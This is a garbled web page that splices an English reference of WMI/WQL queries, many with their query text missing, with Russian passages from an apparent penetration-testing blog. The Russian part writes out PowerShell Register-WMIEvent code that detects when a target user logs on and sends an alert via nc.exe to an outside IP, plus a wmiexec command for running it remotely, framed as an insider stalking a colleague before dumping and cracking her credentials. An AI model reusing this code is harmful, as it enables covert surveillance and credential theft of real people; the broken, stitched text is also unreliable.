 *  Win32_Process  ParentProcessId <> 
 *  Win32_Process  ParentProcessId != 
 *  Win32_Process   ParentProcessId = 

WMI namespace: Root\Cimv2.

All three queries return Win32_Process instances where ParentProcessId is not equal to 884.


 *  Win32_Service 

WMI namespace: Root\Cimv2.

Another commonly seen query that retrieves all information about Windows Services. See here for details about the Win32_Service class. Note that this query returns all class instances. Sometimes this is just what you want, other times it is not, and yet other times, this is something you should definitely avoid.


 *  Win32_Service 
 Name =  

WMI namespace: Root\Cimv2.

Here is an improved query – it returns only Win32_Service instances that have the Name property equal to “MSSQL$SQLEXPRESS”. It happens that Name is the key property for the Win32_Service class, so the returned WMI object collection will have 0 or 1 item, but in general, if you qualify a query with a WMI class property value, you get all class instances where the property matches the entered value.

 *  Win32_Service 
 DisplayName = Plug and Play" 

WMI namespace: Root\Cimv2.

Here is a caveat. If you are familiar with Windows services, you know that you can access service information using Services.msc (Start->Run-> Services.msc). When you open that applet, the text in the Name column is not equal to the Win32_Service.Name value. It is equal to the Win32_Service.DisplayName property value, so if you want to get services by their Services Control Panel applet name, use the above query.


 *  Win32_Service 
 PathName =  

WMI namespace: Root\Cimv2.

Here is another caveat. If a property value contains backslashes, you need to escape them by putting another backslash before (or after) each of them – otherwise, you get the ‘Invalid query’ error.


 *  Win32_Service 
 Name   

WMI namespace: Root\Cimv2.

What if you don’t know the exact service name (or display name)? This is where the LIKE WQL operator comes in handy. Just like in SQL, the ‘%’ meta character replaces any string of zero or more characters, so this query returns all Win32_Service instances where the Name property contains the string “SQL”.


 *  Win32_Service 
 Name >   Name <  

WMI namespace: Root\Cimv2.

You can use all WQL operators with string properties. This query returns all Win32_Service instances whose Name is greater than ‘M’ or less than ‘O’. The usual string comparison rules apply.


 *  Win32_Service 
 ExitCode =  

WMI namespace: Root\Cimv2.

The Win32_Process.ExitCode property type is UInt32, but it is enclosed in quotes. WMI will does its best to interpret a string value and convert it to an appropriate type. This doesn’t work the other way – with string properties, you have to use quotes.


 *  Cim_DataFile 
 Drive =  
 Path =  

WMI namespace: Root\Cimv2.

Cim_DataFile is a WMI class with which you should definitely always use the WHERE clause. ‘Select * From Cim_DataFile’ alone can take hours to complete, because it will return all files on your computer. Note that the Path property doesn’t contain file names or the drive letter which is stored in the Drive property.


Associators  {Win32_NetworkAdapter.DeviceId=1} 

WMI namespace: Root\Cimv2.

  • Win32_ComputerSystem
  • Win32_DeviceMemoryAddress
  • Win32_IRQResource
  • Win32_NetworkAdapterConfiguration
  • Win32_NetworkProtocol
  • Win32_PnPEntity
  • Win32_PortResource
  • Win32_SystemDriver

Associators  {Win32_NetworkAdapter.DeviceId=1} 
 ResultClass = Win32_NetworkAdapterConfiguration 

WMI namespace: Root\Cimv2.

Most of the time, you will not need all WMI objects associated with a WMI object. You can narrow the returned collection by specifying the class of the returned objects in an Associators Of query Where clause. The above query returns an instance of Win32_NetworkAdapterConfiguration associated with the source object.


Associators  {Win32_NetworkAdapter.DeviceId=1} 
 AssocClass = Win32_NetworkAdapterSetting 

WMI namespace: Root\Cimv2.

WMI classes are associated by a special type of WMI classes, called association classes. Win32_NetworkAdapter and Win32_NetworkAdapterConfiguration objects are associated by instances of the association class called Win32_NetworkAdapterSetting. As you can see, you can also use association class names to limit the returned object collection.


  {Win32_NetworkAdapter.DeviceId=1} 

WMI namespace: Root\Cimv2.

  • Win32_AllocatedResource
  • Win32_NetworkAdapterSetting
  • Win32_PnPDevice
  • Win32_ProtocolBinding
  • Win32_SystemDevices

Event Queries

Event queries are used for WMI event subscriptions.

Query text:

Select * From __InstanceCreationEvent 
Within 5 
Where TargetInstance Isa "Win32_Process"

WMI namespace: Root\Cimv2.

Comment:

This query is also often found in WMI samples. WMI event queries are different from other query types in that they don’t return WMI objects immediately. Instead of that, they are used for subscribing to WMI events, and objects are returned as events arrive. Note the two distinctive characteristics of event queries not present in other query types: the Within clause and the __InstanceCreationEvent class. The Within clause tells WMI how often to poll for events in seconds. In the above query, the polling interval is 5 seconds. WQL event monitoring consumes system resources, so it is important to balance between the need to get events on time and the need not to burden the system. The __InstanceCreationEvent class is one of the classes used only in event queries (other two commonly used classes are __InstanceModificationEvent and __InstanceDeletionEvent). An instance of this class is created when a requested event arrives. The __InstanceCreationEvent.TargetInstance property holds a reference to a WMI class that actually triggered the event. In the above query, it is the Win32_Process class, and we can use the TargetInstance property to access its properties.


Query text:

Select * From __InstanceCreationEvent 
Within 5 
Where TargetInstance Isa "Win32_Process" 
And TargetInstance.Name = "Notepad.exe"

WMI namespace: Root\Cimv2.

Comment:

This query monitors the process creation event but only for processes named ‘Notepad.exe’.


Query text:

Select * From __InstanceDeletionEvent 
Within 5 
Where TargetInstance Isa "Win32_Process" 
And TargetInstance.Name = "Notepad.exe" 

WMI namespace: Root\Cimv2.

Comment:

Use this query to monitor process deletion events for processes whose Name property is equal to ‘Notepad.exe’. A process deletion event occurs when a process exits. There is one thing you should note about a query like this: if you open Notepad and then quickly close it (within less than 5 seconds), it is possible for WMI to miss that and not report it as an event.


Query text:

Select * From __InstanceModificationEvent 
Within 5 
Where TargetInstance Isa "Win32_Process" 
And TargetInstance.Name = "Notepad.exe" 

WMI namespace: Root\Cimv2.

Comment:

This query monitors Win32_Process modification events, not the process modification event. This is an important distinction – if the Windows process entity has a property that is not represented with a Win32_Process WMI class, and if that property changes, WMI will not report the change. Only Win32_Process property changes are returned as WMI events.


Query text:

Select * From __InstanceOperationEvent 
Within 5 
Where TargetInstance Isa "Win32_Process" 
And TargetInstance.Name = "Notepad.exe"

WMI namespace: Root\Cimv2.

Comment:

This query monitors all three types of events: creation, deletion, and modification events. The __InstanceOperationEvent class is the parent for the __InstanceCreation, __InstanceDeletion, and __InstanceModification classes, and you can use this fact to subscribe to all three event types at the same time. The __InstanceOperationEvent class is abstract (which means that it doesn’t have instances), so the actual event class returned by an event is one of the tree instance classes, and you can find out which one by inspecting its __Class system property. This way, you can determine the event type.


Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Schema Queries

Schema queries are used to get information about WMI itself and its structure.


 *  Meta_Class 

WMI namespace: Any.

This is the most basic schema query. You can connect to any WMI namespace and use this query to get all the classes present in it. Meta_Class is a meta class used only in schema queries.


 *  Meta_Class 
 __Class =  

WMI namespace: Root\Cimv2.

This query uses the __Class system property to get the Win32_LogicalDisk class. Schema queries don’t return class instances, but class definitions, and a query like this will return a class definition regardless of whether there are any instances. Why would you want to get a class definition? New WMI classes are added for every new Windows version, and a query like this can check if a class exists on a system.


 *  Meta_Class 
 __Superclass   

WMI namespace: Any.

WMI is organized hierarchically – there is a hierarchy of namespaces as class containers, and there is a hierarchy of classes within each namespace. There is only one top level namespace called ‘Root’, but there is always more than one top level class in a namespace (even when you create a new empty namespace, a number of system WMI classes are created automatically). You can use this query to get all top level classes for a namespace. (This query also works if you use ‘=‘ instead of ‘Is‘.)


 *  Meta_Class 
 __Superclass =  

WMI namespace: Root\Cimv2.

For each WMI class, the __Superclass property holds the name of its immediate parent class. You can use this query to return all immediate children classes of a class. Note the quotes around the class name. __Superclass is one of the seven WMI system properties (see details here), and you can use them in schema queries. All except one – the __Dynasty property is a string array, and you can’t use array properties in WQL queries. The above query returns two classes: Win32_LocalTime and Win32_UTCTime, the immediate children of Win32_CurrentTime.


 *  Meta_Class 
 __Dynasty =  

WMI namespace: Root\Cimv2.

__Dynasty is another WMI system property – for each class, it holds the name of the top level class from which the class is derived. This query will return all children of Cim_Setting, a top level class situated in the Root\Cimv2 namespace.


 *  Meta_Class 
 __Class   

WMI namespace: Root\Cimv2.

All WMI classes belong to a schema (or at least they should). For example, classes whose name begins with ‘Cim’ belong to the Cim schema, a group of ‘core and common’ WMI classes defined by DMTF. Classes that begin with ‘Win32’ belong to the ‘Win32’ schema – these classes are derived from Cim classes and extend them. You can use this query to list all classes that belong to the ‘Win32’ schema. The query uses the Like operator – this means, it can’t be used on Windows versions earlier than Windows XP, because the Like operator was added to WQL for XP.


 *  Meta_Class 
 __This Isa  

WMI namespace: Any.

This is not an event query despite the fact that it uses the __Event class. It is a schema query that lists all child classes (both direct and indirect) of __Event. Note the use of ‘__This’, a special WMI property used in schema queries, and the ‘Isa’ operator.

This member has not yet provided a Biography. Assume it’s interesting and varied, and probably something to do with programming.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

:/>  Как найти папку users

Оставьте комментарий